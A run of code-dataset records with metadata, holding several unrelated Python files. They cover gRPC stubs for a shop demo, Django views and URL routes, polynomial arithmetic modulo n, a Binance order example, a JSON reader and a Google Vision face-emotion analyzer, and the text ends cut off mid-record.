compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.AdService/GetAds',\n demo__pb2.AdRequest.SerializeToString,\n demo__pb2.AdResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n", "sub_path": "src/emailservice/demo_pb2_grpc.py", "file_name": "demo_pb2_grpc.py", "file_ext": "py", "file_size_in_byte": 30091, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "demo_pb2.AddItemRequest", "line_number": 37, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 38, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetCartRequest", "line_number": 42, "usage_type": "attribute"}, {"api_name": "demo_pb2.Cart", "line_number": 43, "usage_type": "attribute"}, {"api_name": "demo_pb2.EmptyCartRequest", "line_number": 47, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 48, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 59, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 65, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 71, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 78, "usage_type": "call"}, {"api_name": "demo_pb2.AddItemRequest", "line_number": 80, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 81, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 83, "usage_type": "call"}, {"api_name": "demo_pb2.GetCartRequest", "line_number": 85, "usage_type": "attribute"}, {"api_name": "demo_pb2.Cart", "line_number": 86, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 88, "usage_type": "call"}, {"api_name": "demo_pb2.EmptyCartRequest", "line_number": 90, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 91, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 94, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 116, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 116, "usage_type": "attribute"}, {"api_name": "demo_pb2.AddItemRequest", "line_number": 117, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 118, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 133, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 133, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetCartRequest", "line_number": 134, "usage_type": "attribute"}, {"api_name": "demo_pb2.Cart", "line_number": 135, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 150, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 150, "usage_type": "attribute"}, {"api_name": "demo_pb2.EmptyCartRequest", "line_number": 151, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 152, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListRecommendationsRequest", "line_number": 170, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListRecommendationsResponse", "line_number": 171, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 182, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 189, "usage_type": "call"}, {"api_name": "demo_pb2.ListRecommendationsRequest", "line_number": 191, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListRecommendationsResponse", "line_number": 192, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 195, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 217, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 217, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListRecommendationsRequest", "line_number": 218, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListRecommendationsResponse", "line_number": 219, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 237, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListProductsResponse", "line_number": 238, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetProductRequest", "line_number": 242, "usage_type": "attribute"}, {"api_name": "demo_pb2.Product", "line_number": 243, "usage_type": "attribute"}, {"api_name": "demo_pb2.SearchProductsRequest", "line_number": 247, "usage_type": "attribute"}, {"api_name": "demo_pb2.SearchProductsResponse", "line_number": 248, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 259, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 265, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 271, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 278, "usage_type": "call"}, {"api_name": "demo_pb2.Empty", "line_number": 280, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListProductsResponse", "line_number": 281, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 283, "usage_type": "call"}, {"api_name": "demo_pb2.GetProductRequest", "line_number": 285, "usage_type": "attribute"}, {"api_name": "demo_pb2.Product", "line_number": 286, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 288, "usage_type": "call"}, {"api_name": "demo_pb2.SearchProductsRequest", "line_number": 290, "usage_type": "attribute"}, {"api_name": "demo_pb2.SearchProductsResponse", "line_number": 291, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 294, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 316, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 316, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 317, "usage_type": "attribute"}, {"api_name": "demo_pb2.ListProductsResponse", "line_number": 318, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 333, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 333, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetProductRequest", "line_number": 334, "usage_type": "attribute"}, {"api_name": "demo_pb2.Product", "line_number": 335, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 350, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 350, "usage_type": "attribute"}, {"api_name": "demo_pb2.SearchProductsRequest", "line_number": 351, "usage_type": "attribute"}, {"api_name": "demo_pb2.SearchProductsResponse", "line_number": 352, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetQuoteRequest", "line_number": 370, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetQuoteResponse", "line_number": 371, "usage_type": "attribute"}, {"api_name": "demo_pb2.ShipOrderRequest", "line_number": 375, "usage_type": "attribute"}, {"api_name": "demo_pb2.ShipOrderResponse", "line_number": 376, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 387, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 393, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 400, "usage_type": "call"}, {"api_name": "demo_pb2.GetQuoteRequest", "line_number": 402, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetQuoteResponse", "line_number": 403, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 405, "usage_type": "call"}, {"api_name": "demo_pb2.ShipOrderRequest", "line_number": 407, "usage_type": "attribute"}, {"api_name": "demo_pb2.ShipOrderResponse", "line_number": 408, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 411, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 433, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 433, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetQuoteRequest", "line_number": 434, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetQuoteResponse", "line_number": 435, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 450, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 450, "usage_type": "attribute"}, {"api_name": "demo_pb2.ShipOrderRequest", "line_number": 451, "usage_type": "attribute"}, {"api_name": "demo_pb2.ShipOrderResponse", "line_number": 452, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 470, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetSupportedCurrenciesResponse", "line_number": 471, "usage_type": "attribute"}, {"api_name": "demo_pb2.CurrencyConversionRequest", "line_number": 475, "usage_type": "attribute"}, {"api_name": "demo_pb2.Money", "line_number": 476, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 487, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 493, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 500, "usage_type": "call"}, {"api_name": "demo_pb2.Empty", "line_number": 502, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetSupportedCurrenciesResponse", "line_number": 503, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 505, "usage_type": "call"}, {"api_name": "demo_pb2.CurrencyConversionRequest", "line_number": 507, "usage_type": "attribute"}, {"api_name": "demo_pb2.Money", "line_number": 508, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 511, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 533, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 533, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 534, "usage_type": "attribute"}, {"api_name": "demo_pb2.GetSupportedCurrenciesResponse", "line_number": 535, "usage_type": "attribute"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 550, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 550, "usage_type": "attribute"}, {"api_name": "demo_pb2.CurrencyConversionRequest", "line_number": 551, "usage_type": "attribute"}, {"api_name": "demo_pb2.Money", "line_number": 552, "usage_type": "attribute"}, {"api_name": "demo_pb2.ChargeRequest", "line_number": 570, "usage_type": "attribute"}, {"api_name": "demo_pb2.ChargeResponse", "line_number": 571, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 582, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 589, "usage_type": "call"}, {"api_name": "demo_pb2.ChargeRequest", "line_number": 591, "usage_type": "attribute"}, {"api_name": "demo_pb2.ChargeResponse", "line_number": 592, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 595, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 617, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 617, "usage_type": "attribute"}, {"api_name": "demo_pb2.ChargeRequest", "line_number": 618, "usage_type": "attribute"}, {"api_name": "demo_pb2.ChargeResponse", "line_number": 619, "usage_type": "attribute"}, {"api_name": "demo_pb2.SendOrderConfirmationRequest", "line_number": 637, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 638, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 649, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 656, "usage_type": "call"}, {"api_name": "demo_pb2.SendOrderConfirmationRequest", "line_number": 658, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 659, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 662, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 684, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 684, "usage_type": "attribute"}, {"api_name": "demo_pb2.SendOrderConfirmationRequest", "line_number": 685, "usage_type": "attribute"}, {"api_name": "demo_pb2.Empty", "line_number": 686, "usage_type": "attribute"}, {"api_name": "demo_pb2.PlaceOrderRequest", "line_number": 704, "usage_type": "attribute"}, {"api_name": "demo_pb2.PlaceOrderResponse", "line_number": 705, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 716, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 723, "usage_type": "call"}, {"api_name": "demo_pb2.PlaceOrderRequest", "line_number": 725, "usage_type": "attribute"}, {"api_name": "demo_pb2.PlaceOrderResponse", "line_number": 726, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 729, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 751, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 751, "usage_type": "attribute"}, {"api_name": "demo_pb2.PlaceOrderRequest", "line_number": 752, "usage_type": "attribute"}, {"api_name": "demo_pb2.PlaceOrderResponse", "line_number": 753, "usage_type": "attribute"}, {"api_name": "demo_pb2.AdRequest", "line_number": 771, "usage_type": "attribute"}, {"api_name": "demo_pb2.AdResponse", "line_number": 772, "usage_type": "attribute"}, {"api_name": "grpc.StatusCode", "line_number": 783, "usage_type": "attribute"}, {"api_name": "grpc.unary_unary_rpc_method_handler", "line_number": 790, "usage_type": "call"}, {"api_name": "demo_pb2.AdRequest", "line_number": 792, "usage_type": "attribute"}, {"api_name": "demo_pb2.AdResponse", "line_number": 793, "usage_type": "attribute"}, {"api_name": "grpc.method_handlers_generic_handler", "line_number": 796, "usage_type": "call"}, {"api_name": "grpc.experimental.unary_unary", "line_number": 818, "usage_type": "call"}, {"api_name": "grpc.experimental", "line_number": 818, "usage_type": "attribute"}, {"api_name": "demo_pb2.AdRequest", "line_number": 819, "usage_type": "attribute"}, {"api_name": "demo_pb2.AdResponse", "line_number": 820, "usage_type": "attribute"}]} +{"seq_id": "439205128", "text": "from django.shortcuts import render\nfrom discusion.models import Pregunta, Respuestas\nfrom django.http import HttpResponse, Http404\nimport json\n\n\ndef guardar_pregunta(request):\n if request.is_ajax():\n\n if request.POST['pregunta']:\n pregunta = Pregunta(titulo=request.POST['pregunta'])\n pregunta.save()\n\n #Traemos las preguntas guardadas para mostrarlas desde la mas reciente\n preguntas = Pregunta.objects.all().order_by('-id')\n\n #luego pasamos la lista a la peticion Ajax pero serializadas o en forma de lista\n\n data = list()\n\n for pregunta in preguntas:\n data.append({'id': pregunta.pk, 'titulo': pregunta.titulo})\n\n return HttpResponse(\n json.dumps({'preguntas': data}),\n content_type = \"application/json; charset=utf8\"\n )\n else:\n raise Http404\n\n\ndef cargar_respuestas(request,id ):\n if request.is_ajax():\n respuestas= Respuestas.objects.filter(pregunta__id=id).order_by('-id')\n\n data = list()\n\n for respuesta in respuestas:\n data.append(respuesta.titulo)\n return HttpResponse(\n json.dumps({'respuestas': data, 'pregunta': id}),\n content_type=\"application/json, charset=utf8\"\n )\n else:\n raise Http404\n\ndef guardar_respuesta(request):\n if request.is_ajax():\n\n if request.POST['respuesta']:\n\n respuesta = Respuestas(titulo=request.POST['respuesta'], pregunta_id=request.POST['pregunta'])\n respuesta.save()\n\n return cargar_respuestas(request, request.POST['pregunta'])\n", "sub_path": "miniplataforma/discusion/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1616, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "discusion.models.Pregunta", "line_number": 11, "usage_type": "call"}, {"api_name": "discusion.models.Pregunta.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "discusion.models.Pregunta.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "discusion.models.Pregunta", "line_number": 15, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 29, "usage_type": "name"}, {"api_name": "discusion.models.Respuestas.objects.filter", "line_number": 34, "usage_type": "call"}, {"api_name": "discusion.models.Respuestas.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "discusion.models.Respuestas", "line_number": 34, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 40, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 45, "usage_type": "name"}, {"api_name": "discusion.models.Respuestas", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "191527131", "text": "from typing import Union\nimport numpy as np\nfrom numpy.polynomial.polynomial import Polynomial as Poly\nfrom lab01.circle import InverseMod\n\n\ndef rev(p: Poly, n: int) -> Poly:\n p = p.trim()\n result = p.coef[::-1]\n if len(p.coef) < n:\n result = np.concatenate([np.zeros(n - len(p.coef)), result])\n return Poly(result)\n\n\ndef PolyInverseModOverQ(f: Poly, mod_deg: int) -> Union[Poly, None]:\n if mod_deg < 1:\n raise ValueError('Не допустимое значение модуля')\n if f.coef[0] == 0:\n return None\n\n g = Poly([1 / f.coef[0]])\n r = int(np.ceil(np.log2(mod_deg)))\n d = 2\n for i in range(r):\n g = (2 * g - f * g ** 2).truncate(d)\n d <<= 1\n return g\n\n\ndef PolyInverseModOverZn(f: Poly, mod_deg: int, mod_ring: int) -> Union[Poly, None]:\n if mod_deg < 1 or mod_ring < 1:\n raise ValueError('Модуль не может быть меньше 1')\n\n if f.coef[0] == 0 or mod_ring == 1:\n return None\n\n f = Poly(np.mod(f.coef, mod_ring))\n\n c = InverseMod(f.coef[0], mod_ring)\n if c is None:\n return None\n\n g = Poly([c])\n r = int(np.ceil(np.log2(mod_deg)))\n d = 2\n\n for i in range(r):\n g = (2 * g - f * g ** 2).truncate(d)\n g = Poly(np.mod(g.coef, mod_ring))\n d <<= 1\n return g\n\n\ndef PolyDivModOverQ(a: Poly, b: Poly) -> (Poly, Poly):\n if not b.coef.any():\n raise ZeroDivisionError\n\n a = a.trim()\n b = b.trim()\n n, m = len(a.coef), len(b.coef)\n\n if n < m:\n return Poly([0]), a\n else:\n f = rev(b, m)\n g = PolyInverseModOverQ(f, n - m + 1)\n q = (rev(a, n) * g).truncate(n - m + 1)\n q = rev(q, n - m + 1)\n\n if len(q.coef) < n - m + 1:\n q.coef = np.concatenate([np.zeros(n - len(q)), q.coef])\n\n r = a - b * q\n r = r.trim()\n q = r.trim()\n return q, r\n\n\ndef PolyDivModOverZn(a: Poly, b: Poly, mod_r: int) -> (Poly, Poly):\n if mod_r < 1:\n raise ValueError\n\n if mod_r == 1:\n raise ZeroDivisionError\n\n a = Poly(np.mod(a.coef, mod_r))\n b = Poly(np.mod(b.coef, mod_r))\n\n a = a.trim()\n b = b.trim()\n n, m = len(a.coef), len(b.coef)\n\n if n < m:\n return Poly([0]), a\n else:\n f = rev(b, m)\n g = PolyInverseModOverZn(f, n - m + 1, mod_r)\n\n if g is None:\n raise ZeroDivisionError\n\n q = (rev(a, n) * g).truncate(n - m + 1)\n q = Poly(np.mod(q.coef, mod_r))\n q = rev(q, n - m)\n\n if len(q.coef) < n - m + 1:\n q.coef = np.concatenate([np.zeros(n - m + 1 - len(q)), q.coef])\n\n bq = Poly(np.mod((b * q).coef, mod_r))\n r = a - bq\n r = Poly(np.mod(r.coef, mod_r))\n q = Poly(np.mod(q.coef, mod_r))\n r = r.trim()\n q = q.trim()\n return q, r\n", "sub_path": "lab04/lab04.py", "file_name": "lab04.py", "file_ext": "py", "file_size_in_byte": 2831, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 37, "usage_type": "call"}, {"api_name": "lab01.circle.InverseMod", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 49, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.polynomial.polynomial.Polynomial", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 112, "usage_type": "call"}]} +{"seq_id": "294585102", "text": "'''\nCreated on 16.08.2012\n\n@author: apollov\n'''\nfrom django.conf.urls import patterns, url\n\nfrom views import (retailer_list, russia_partners, world_partners, \n stores_map, supermarkets_map, units_map, export_excel,\n recommendations)\n\n\nclass PartnersSite(object):\n def __init__(self, name='partners', app_name='partners'):\n self.name = name\n self.app_name = app_name\n\n def get_urls(self):\n urlpatterns = patterns('',\n #url(r'^retailer/$', retailer_list, name='retailer_list'),\n url(r'^supermarkets/$', supermarkets_map),\n url(r'^stores/$', stores_map),\n url(r'^units/$', units_map),\n url(r'^russia/$', russia_partners, name='russia_partners'),\n url(r'^world/$', world_partners, name='world_partners'),\n url(r'^export_excel/$', export_excel),\n url(r'^recommendations/$', recommendations),\n )\n\n return urlpatterns\n\n @property\n def urls(self):\n return self.get_urls(), self.app_name, self.name\n\nsite = PartnersSite()\n", "sub_path": "apps/partners/sites.py", "file_name": "sites.py", "file_ext": "py", "file_size_in_byte": 1092, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "views.supermarkets_map", "line_number": 21, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "views.stores_map", "line_number": 22, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "views.units_map", "line_number": 23, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "views.russia_partners", "line_number": 24, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "views.world_partners", "line_number": 25, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "views.export_excel", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "views.recommendations", "line_number": 27, "usage_type": "argument"}]} +{"seq_id": "231488189", "text": "from binance.spot import Spot as REST\n\nclient = REST()\norder = {\n 'symbol': 'BTCUSDT',\n 'side': 'SELL',\n 'type': 'LIMIT',\n 'timeInForce': 'GTC',\n 'quantity': 0.002,\n 'price': 9500\n}\nresponse = client.new_order(**order)\nprint(response)\n", "sub_path": "examples/exchanges/binance_rest.py", "file_name": "binance_rest.py", "file_ext": "py", "file_size_in_byte": 253, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "binance.spot.Spot", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "536723311", "text": "# -*- coding: utf-8 -*-\n\nimport json\nimport gzip\n\nfilepath = \"../data/jawiki-country.json.gz\"\nwith gzip.open(filepath, 'rb') as f:\n for line in f:\n obj = json.loads(line.decode('utf-8'))\n if obj['title'] == 'イギリス':\n print(obj['text'])", "sub_path": "takahashi/chapter03/knock20.py", "file_name": "knock20.py", "file_ext": "py", "file_size_in_byte": 270, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "gzip.open", "line_number": 7, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "651259843", "text": "import io\n\nfrom googleCVWrapper import GoogleCVWrapper\nfrom PIL import Image, ImageDraw\n\nclass ImageAnalyzer:\n\n def __init__(self, imagePath=\"\"):\n self.googleCV = GoogleCVWrapper()\n\n self.imagePath = imagePath\n\n self.maxNumberOfFaces = 100\n\n self.emotions = []\n if len(self.imagePath) > 0:\n with open(self.imagePath, 'rb') as image:\n self.faceAnnotations = self.googleCV.detect_face(image, self.maxNumberOfFaces)\n self.loadEmotions()\n\n\n def loadImage(self, imagePath):\n self.imagePath = imagePath\n self.emotions = []\n with open(self.imagePath, 'rb') as image:\n self.faceAnnotations = self.googleCV.detect_face(image, self.maxNumberOfFaces)\n\n def highlight_faces(self, image, faces, outputFilename):\n \"\"\"Draws a polygon around the faces, then saves to output_filename.\n\n Args:\n image: a file containing the image with the faces.\n faces: a list of faces found in the file. This should be in the format\n returned by the Vision API.\n output_filename: the name of the image file to be created, where the\n faces have polygons drawn around them.\n \"\"\"\n im = Image.open(image)\n draw = ImageDraw.Draw(im)\n\n for face in faces:\n box = [(vertex.x, vertex.y)\n for vertex in face.bounding_poly.vertices]\n draw.line(box + [box[0]], width=5, fill='#00ff00')\n\n im.save(outputFilename)\n\n def markFaces(self, image, outputFilename):\n image.seek(0)\n self.highlight_faces(image, self.faceAnnotations, outputFilename)\n\n\n def totalNumberOfPeopleInImage(self):\n return len(self.faceAnnotations)\n\n def isFaceLookingAtCamera(self, rollAngle, panAngle, tiltAngle):\n if rollAngle >= -30 and rollAngle <= 30 and panAngle >= -30 and panAngle <= 30:\n return True\n\n return False\n \n def numberOfPeopleLookingAtCamera(self):\n \n count = 0\n\n for annotation in self.faceAnnotations:\n rollAngle = annotation.rollAngle\n panAngle = annotation.panAngle\n tiltAngle = annotation.tiltAngle\n\n if self.isFaceLookingAtCamera(rollAngle, panAngle, tiltAngle):\n count += 1\n\n return count\n\n def loadEmotions(self):\n \n \"\"\"\n This function uses self.faceAnnotations to determine emotions,\n a list of tuples of the form (joy, sorrow, anger, surprise),\n expressing each emotions likelihood for each face\n \"\"\"\n\n emotions = []\n\n for annotation in self.faceAnnotations:\n joy = annotation.joy_likelihood\n sorrow = annotation.sorrow_likelihood\n anger = annotation.anger_likelihood\n surprise = annotation.surprise_likelihood\n\n emotions.append((joy, sorrow, anger, surprise))\n\n self.emotions = emotions \n \n\n def numberOfJoyfulPeople(self):\n count = 0\n for emotionTuple in self.emotions:\n if emotionTuple[0] > 3:\n count += 1\n return count\n\n def numberOfSorrowfulPeople(self):\n count = 0\n for emotionTuple in self.emotions:\n if emotionTuple[1] > 3:\n count += 1\n return count\n\n def numberOfAngryPeople(self):\n count = 0\n for emotionTuple in self.emotions:\n if emotionTuple[2] > 3:\n count += 1\n return count\n\n def numberOfSurprisedPeople(self):\n count = 0\n for emotionTuple in self.emotions:\n if emotionTuple[3] > 3:\n count += 1\n return count\n\n\n def numberOfEmotionallyActivePeople(self):\n for face in self.emotions:\n joy = face[0]\n sorrow = face[1]\n anger = face[2]\n surprise = face[3]\n\n return self.numberOfJoyfulPeople() + self.numberOfSorrowfulPeople() + self.numberOfSurprisedPeople() + self.numberOfAngryPeople()\n\n", "sub_path": "ImageAnalyzer.py", "file_name": "ImageAnalyzer.py", "file_ext": "py", "file_size_in_byte": 4044, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "googleCVWrapper.GoogleCVWrapper", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 38, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 38, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "646175447", "text": "import pygame as 